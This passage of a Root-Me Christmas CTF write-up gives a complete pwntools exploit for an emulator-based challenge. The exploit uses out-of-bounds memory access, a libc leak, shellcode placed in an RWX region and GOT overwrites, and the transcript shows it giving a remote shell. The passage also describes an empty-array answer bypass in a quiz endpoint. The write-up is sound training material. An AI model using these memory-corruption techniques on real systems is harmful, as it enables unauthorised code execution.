0x7ffff7ffb000 0x7ffff7ffd000 0x2000 r--p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ffd000 0x7ffff7fff000 0x2000 rw-p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffffffde000 0x7ffffffff000 0x21000 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 0x1000 --xp [vsyscall]
With this setup, gift_list
is close enough to libraries that we can OOB read and write to these libraries. The stack is still a bit too far away but we won’t need it.
Because of ASLR, the offset between our gift_list
and other libraries is not exactly constant. However, starting from the libunicorn JIT area, the mappings are contiguous. I used this fact to design the following exploit:
- Allocate a large enough
gift_list
so that a new memory area is mapped not too far away from the libraries. - Modify
gift_max
to allow OOB read and writes. - Using a loop, read out of bounds starting approximately from
libm.so.6
(we don’t exactly now where that is), until we find a ELF header. Chances are this is the start oflibc.so.6
memory mappings. Now we know the offset betweengift_list
and libc. - Leak a libc address using OOB read inside the
libc.so.6
memory mappings and calculate the base address of libc from that leak. - Using the previous leak, we can calculate interesting offsets and addresses: libc, libunicorn and the large RWX memory area.
- Write a shellcode somewhere in the RWX area.
The last step is to redirect code execution to the shellcode in the RWX area. There are many ways to achieve that at this point. I used the fact that libunicorn.so.2
is compiled with “Partial RELRO”. I sprayed random GOT entries of libunicorn (there are more than 250) with the shellcode address. When one of these functions is used, the flow is redirected to the shellcode.
Below is the full exploit script. It works about half the time remotely (it could be improved) and gives a shell on the server. The critical step is the loop to find a ELF header, which can fail because of ASLR randomness.
from pwn import *
import sys
context.arch = 'amd64'
libc = ELF('./libs/libc.so.6')
libunicorn = ELF('./libs/libunicorn.so.2')
def command_init():
return 'mov %rax, 0xcafe0018\nmovq [%rax], 0x1337\n'
def command_add():
return 'mov %rax, 0xcafe0018\nmovq [%rax], 0x1338\n'
def command_get():
return 'mov %rax, 0xcafe0018\nmovq [%rax], 0x1339\n'
def command_edit():
return 'mov %rax, 0xcafe0018\nmovq [%rax], 0x1340\n'
def command_submit():
return 'mov %rax, 0xcafe0018\nmovq [%rax], 0x1341\n'
def write_gift(value):
return f'mov %rax, 0xcafe0000\nmovd [%rax], {hex(value)}\n'
def write_gift_from_rax():
return f'mov %rbx, 0xcafe0000\nmovd [%rbx], %eax\n'
def write_gift_max(value):
return f'mov %rax, 0xcafe0008\nmovq %rbx, {hex(value)}\nmovq [%rax], %rbx\n'
def write_gift_idx_from_ecx():
return f'mov %rax, 0xcafe0010\nmovd [%rax], %ecx\n'
def write_gift_idx(value):
return f'mov %rax, 0xcafe0010\nmovq %rbx, {hex(value)}\nmovq [%rax], %rbx\n'
def read_gift():
return 'mov %rax, [0xcafe0000]\n'
def read_gift_max():
return 'mov %rax, [0xcafe0008]\n'
def read_gift_idx():
return 'mov %rax, [0xcafe0010]\n'
# These addresses are subject to ASLR in the real program
# But we can use the (approximate) offset between some of them
first_gift = 0x7f8d74dff010
libm_base = 0x7f8db9119000
libc_base = 0x7f8db9202000
libunicorn_base = 0x7f8db9414000
somewhere_in_rwx = 0x7f8d99094800
# Mmap large area (it lands somewhere before all the libs)
payload = write_gift_max(0x1000000)
payload += command_init()
# Set a larger limit to OOB read / write
payload += write_gift_max(0xf0000000)
# Read OOB until we find a ELF header
off = (libm_base + 0x100000 - first_gift) // 4
payload += f'mov %rcx, {hex(off)}\n'
# Loop begin
payload += 'loop1:\n'
payload += 'add %rcx, 1\n'
# Read 4 bytes
payload += write_gift_idx_from_ecx()
payload += command_get()
payload += read_gift()
# Stop if ELF header found
payload += 'cmp %eax, 0x464c457f\n'
payload += 'jne loop1\n'
# We are probably at the beginning of a library now
# Good enough chance that library is libc (but it might be libm or something else, in that case exploit will fail)
# SAVED GIFT 0: GIFT OFFSET TO LIBC
payload += 'mov %rax, %rcx\n'
payload += write_gift_from_rax()
payload += command_add()
# SAVED GIFT 1,2: ADDRESS OF LIBC
# Read a libc address from libc metadata
payload += f'add %rcx, {0x203678 // 4}\n'
payload += write_gift_idx_from_ecx()
payload += command_get()
payload += read_gift()
# Calculate libc address from that leak
payload += 'sub %rax, 0x204b80\n'
payload += write_gift_from_rax()
payload += command_add()
payload += f'add %rcx, 1\n'
payload += write_gift_idx_from_ecx()
payload += command_get()
payload += read_gift()
payload += write_gift_from_rax()
payload += command_add()
# SAVED GIFT 3,4: ADDRESS OF RWX ZONE
# Calculate address of somewhere in RWX using libc base
payload += write_gift_idx(2)
payload += command_get()
payload += read_gift()
payload += 'mov %rdx, %rax\n'
payload += 'shl %rdx, 32\n'
payload += write_gift_idx(1)
payload += command_get()
payload += read_gift()
payload += 'add %rdx, %rax\n'
payload += f'sub %rdx, {libc_base - somewhere_in_rwx}\n'
payload += 'mov %rax, %rdx\n'
payload += write_gift_from_rax()
payload += command_add()
payload += 'shr %rdx, 32\n'
payload += 'mov %rax, %rdx\n'
payload += write_gift_from_rax()
payload += command_add()
# SAVED GIFT 5: GIFT OFFSET TO RWX ZONE
# Calculate gift offset to rwx zone using libc offset
payload += write_gift_idx(0)
payload += command_get()
payload += read_gift()
payload += f'sub %rax, {(libc_base - somewhere_in_rwx) // 4}\n'
payload += write_gift_from_rax()
payload += command_add()
# SAVED GIFT 6: GIFT OFFSET TO LIBUNICORN
# Calculate git offset to libunicorn base using libc offset, libc base and offset between libc and libunicorn
# unicorn_offset = libc_offset + (unicorn_base - libc_base) // 4
payload += write_gift_idx(0)
payload += command_get()
payload += read_gift()
payload += f'add %rax, {(libunicorn_base - libc_base) // 4}\n'
payload += write_gift_from_rax()
payload += command_add()
# ==============================
# /bin/sh shellcode
shellcode = asm(shellcraft.sh())
shellcode = shellcode + b'\x90' * (4 - (len(shellcode) % 4))
# Get offset to RWX area
payload += write_gift_idx(5)
payload += command_get()
payload += read_gift()
payload += 'mov %rcx, %rax\n'
# Write shellcode to RWX area
for i in range(0, len(shellcode), 4):
to_write = u32(shellcode[i:i+4])
payload += write_gift_idx_from_ecx()
payload += f'mov %rax, {to_write}\n'
payload += write_gift_from_rax()
payload += command_edit()
payload += 'add %rcx, 1\n'
# shellcode address to write in GOT
payload += write_gift_idx(4)
payload += command_get()
payload += read_gift()
payload += 'mov %rdx, %rax\n'
payload += 'shl %rdx, 32\n'
payload += write_gift_idx(3)
payload += command_get()
payload += read_gift()
payload += 'add %rdx, %rax\n'
# uni offset
payload += write_gift_idx(6)
payload += command_get()
payload += read_gift()
payload += 'mov %rdi, %rax\n'
# Overwrite some GOT entries in libunicorn (only LSB)
# Overwriting GOT entries 50-100 seems to do the job
i = 0
for sym in libunicorn.got:
addr = libunicorn.got[sym]
if addr < 0x15e000:
continue
i += 1
if i < 50:
continue
if i > 100:
break
# where to write (got entry)
payload += 'mov %rcx, %rdi\n'
payload += f'add %rcx, {addr // 4}\n'
payload += write_gift_idx_from_ecx()
# what to write (shellcode address 4 LSB)
payload += f'mov %rax, %rdx\n'
payload += write_gift_from_rax()
payload += command_edit()
payload += command_submit()
payload = asm(payload)
sys.stdout.buffer.write(str(len(payload)).encode() + b'\n' + payload)
Running the script outputs a x86_64 program to send to the server to execute /bin/sh
.
$ (python solve.py SILENT; cat) | nc dyn-01.xmas.root-me.org 30147
Ho ho ho! Welcome to the GCI (Gift Control Interface)
You can write your gift list here and I will execute it for you
Code length (16384 max): Enter your code: Executing your code...
id
uid=1001(user) gid=1001(user) groups=1001(user)
ls -la
total 36
drwxr-xr-x 1 root root 4096 Dec 23 09:57 .
drwxr-xr-x 1 root root 4096 Dec 23 09:57 ..
-rw-r--r-- 1 root root 33 Dec 23 09:51 flag.txt
-rwxr-xr-x 1 root root 17056 Dec 23 09:51 gci
cat flag.txt
RM{Deer_s4nta_1_w4nt_4_Un1c0rn!}
Day 24 - Root-Xmas’ Quiz
Category: Quiz
The last challenge is a Root Me trivia quiz with 30 random multiple choice questions. Our answers are submitted at once at the end of the quiz, and the flag is a reward for getting all correct answers.
The format of the POST data at the end of the quiz is the following.
{
"answers":[
// {"id":[question_id], "answer": "[answer]"},
{"id":20, "answer": "29b chemin de grave, 69450 SAINT-CYR AU MONT D'OR"},
[...]
{"id":19, "answer": "xxx"},
]
}
The server responds with something like this.
{
"all_correct": false,
"flag": null, // The flag is here if there is no wrong answer
"results": [
{
"correct": true,
"question": "What is the association's address?"
},
[...]
{
"correct": false,
"question": "Obviously, the best categorie of challenges from Root-Xmas is:"
}
]
}
There was an unintended solution when the challenge was released. By sending a json with an empty “answers” array, the server would not detect any wrong answer and would give us the flag. Similarly, sending the same answer for the same question 30 times was enough to get the flag.
After the fix, the only way to solve it is to answer 30 questions correctly, though.
- Solutions for days 01-08
- Solutions for days 09-16
- Solutions for days 17-24